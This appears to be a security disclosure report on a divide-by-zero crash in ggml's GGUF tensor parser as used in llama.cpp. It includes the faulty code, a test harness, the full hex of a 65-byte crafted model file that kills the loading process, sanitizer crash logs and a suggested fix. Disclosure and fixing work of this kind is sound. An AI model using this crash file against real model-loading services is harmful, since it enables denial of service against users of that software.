Integer division-by-zero (SIGFPE / CWE-369) in ggml GGUF tensor-info parsing on a crafted zero-dimension tensor
Target project: ggml core, as vendored in ggml-org/llama.cpp
Vulnerable file: ggml/src/gguf.cpp, function gguf_init_from_reader()
Tested commit: e3546c7948e3af463d0b401e6421d5a4c2faf565 (2026-07-11)
Weakness: CWE-369 (Divide By Zero) β SIGFPE (denial of service)
Crash line: ggml/src/gguf.cpp:685 (and :686 for the 3rd-dim variant)
Summary
gguf_init_from_reader() parses per-tensor shape metadata from an untrusted GGUF
file. After reading the n_dims dimension values into info.t.ne[0..3], it runs an
overflow guard that is meant to reject tensors whose total element count is not
representable in int64_t. That guard divides INT64_MAX by ne[1], ne[2] and
ne[3]:
// ggml/src/gguf.cpp (function gguf_init_from_reader)
for (uint32_t j = 0; ok && j < GGML_MAX_DIMS; ++j) {
info.t.ne[j] = 1;
if (j < n_dims) {
ok = ok && gr.read(info.t.ne[j]);
}
// check that all ne are non-negative
if (info.t.ne[j] < 0) { // line 676: only rejects < 0
GGML_LOG_ERROR("%s: tensor '%s' dimension %" PRIu32
" has invalid number of elements: %" PRIi64 " < 0\n",
__func__, info.t.name, j, info.t.ne[j]);
ok = false;
break;
}
}
// check that the total number of elements is representable
if (ok && ((INT64_MAX/info.t.ne[1] <= info.t.ne[0]) || // line 685
(INT64_MAX/info.t.ne[2] <= info.t.ne[0]*info.t.ne[1]) || // line 686
(INT64_MAX/info.t.ne[3] <= info.t.ne[0]*info.t.ne[1]*info.t.ne[2]))) { // line 687
...
}
Root cause
The only validation applied to each dimension (line 676) rejects strictly
negative values (info.t.ne[j] < 0). A dimension value of 0 is accepted.
The subsequent overflow guard then uses ne[1], ne[2], and ne[3] directly as
divisors without ever checking them against zero. When a crafted GGUF file
declares a tensor with n_dims >= 2 and a 0 in dimension index 1, 2, or 3, the
expression INT64_MAX / info.t.ne[j] performs an integer division by zero, raising
SIGFPE and killing the process. The overflow check that was supposed to make
parsing safer is itself the crash site.
This code is reached by every GGUF entry point β gguf_init_from_file,
gguf_init_from_file_ptr, gguf_init_from_buffer, and gguf_init_from_callback β
so any application that loads an untrusted GGUF model (e.g. a llama.cpp model
load) can be remotely/locally DoS'd by a single malformed file.
Proof of Concept
A minimal 65-byte GGUF file triggers the crash. The harness (harness.c) simply
calls gguf_init_from_file():
struct ggml_context * ctx = NULL;
struct gguf_init_params p = { /*.no_alloc=*/ false, /*.ctx=*/ &ctx };
struct gguf_context * g = gguf_init_from_file(argv[1], p); // harness.c:9 -> SIGFPE
The PoC file (ne1.gguf, produced by gen.py case ne1_zero) declares:
- magic
GGUF, version = 3 n_tensors = 1,n_kv = 0- one tensor named
t,n_dims = 2,ne = [1, 0], ggml typeF32(0), offset 0
Full hex of ne1.gguf (65 bytes):
4747554603000000 0100000000000000 0000000000000000
0100000000000000 7402000000010000 0000000000000000
0000000000000000 0000000000000000 00
Build / repro
The harness was linked against the pre-existing ASan-instrumented ggml libraries
(GGML_SANITIZE_ADDRESS=ON, -fsanitize=address -O1 -g):
LD_LIBRARY_PATH=/path/to/llama.cpp/build-asan/bin ./harness ne1.gguf
Captured evidence (verbatim)
Loading ne1.gguf (ne = [1,0]) β division by ne[1] = 0 at line 685:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1333685==ERROR: AddressSanitizer: FPE on unknown address 0x7f140d1625b7 (pc 0x7f140d1625b7 bp 0x7ffd7b834060 sp 0x7ffd7b833bb0 T0)
#0 0x7f140d1625b7 in gguf_init_from_reader /home/kali/verify-work/llama.cpp/ggml/src/gguf.cpp:685
#1 0x7f140d164311 in gguf_init_from_file_ptr /home/kali/verify-work/llama.cpp/ggml/src/gguf.cpp:947
#2 0x7f140d164433 in gguf_init_from_file /home/kali/verify-work/llama.cpp/ggml/src/gguf.cpp:991
#3 0x562181e7639a in main /home/kali/hunt-workspace/ggml-core-audit/harness.c:9
==1333685==Register values:
rax = 0x7fffffffffffffff rbx = 0x0000000000000004 rcx = 0x00000f63015160cb rdx = 0x0000000000000000
...
SUMMARY: AddressSanitizer: FPE /home/kali/verify-work/llama.cpp/ggml/src/gguf.cpp:685 in gguf_init_from_reader
==1333685==ABORTING
rax = 0x7fffffffffffffff is INT64_MAX (the dividend); the divisor ne[1] is 0 β
confirming the division-by-zero.
Second variant ne2.gguf (ne = [1,1,0]) β division by ne[2] = 0 at line 686:
==1333780==ERROR: AddressSanitizer: FPE on unknown address 0x7f92d4b6261a ...
#0 0x7f92d4b6261a in gguf_init_from_reader /home/kali/verify-work/llama.cpp/ggml/src/gguf.cpp:686
SUMMARY: AddressSanitizer: FPE /home/kali/verify-work/llama.cpp/ggml/src/gguf.cpp:686 in gguf_init_from_reader
Negative control (isolates the zero dimension as the trigger)
ctrl.gguf (ne = [2,1], no zero dimension) parses past line 685 without any FPE
and fails gracefully further down (it has no real data section):
gguf_init_from_reader: failed to seek to beginning of data section
load failed (graceful)
rc=0
This confirms the crash is caused specifically by the zero-valued dimension being used as a divisor, not by the file being otherwise malformed.
Impact
Denial of service. Any process that loads an attacker-supplied GGUF model through any ggml GGUF entry point is terminated by SIGFPE before it can inspect or reject the file. GGUF models are routinely downloaded from public model hubs and shared, so this is a realistic untrusted-input surface for llama.cpp and every downstream consumer of ggml's GGUF loader.
Suggested fix
Reject zero-valued dimensions alongside the existing negative check, or guard each
divisor before dividing, e.g. change line 676's check to info.t.ne[j] <= 0 (if a
zero-element tensor is never legal), or special-case ne[j] == 0 in the overflow
guard so the division is skipped.
Deduplication note
The crash site (gguf.cpp div-by-zero in the tensor-element overflow guard) is
distinct from previously reported ggml issues around GGUF n_dims stack OOB
writes, vocab type confusion, or string-length OOM. This is specifically a
divide-by-zero / SIGFPE in the INT64_MAX / ne[j] representability guard,
reached with a well-formed header and a single zero dimension value. No public CVE
for this exact div-by-zero in gguf_init_from_reader was found at the tested
commit at time of writing.
Files
harness.cβ minimal loader callinggguf_init_from_file()gen.pyβ GGUF file generator (casesne1_zero,ne2_zero, plus controls)ne1.ggufβ PoC,ne = [1,0]β SIGFPE at gguf.cpp:685ne2.ggufβ PoC variant,ne = [1,1,0]β SIGFPE at gguf.cpp:686ctrl.ggufβ negative control,ne = [2,1], parses without FPE
- Downloads last month
- -
We're not able to determine the quantization variants.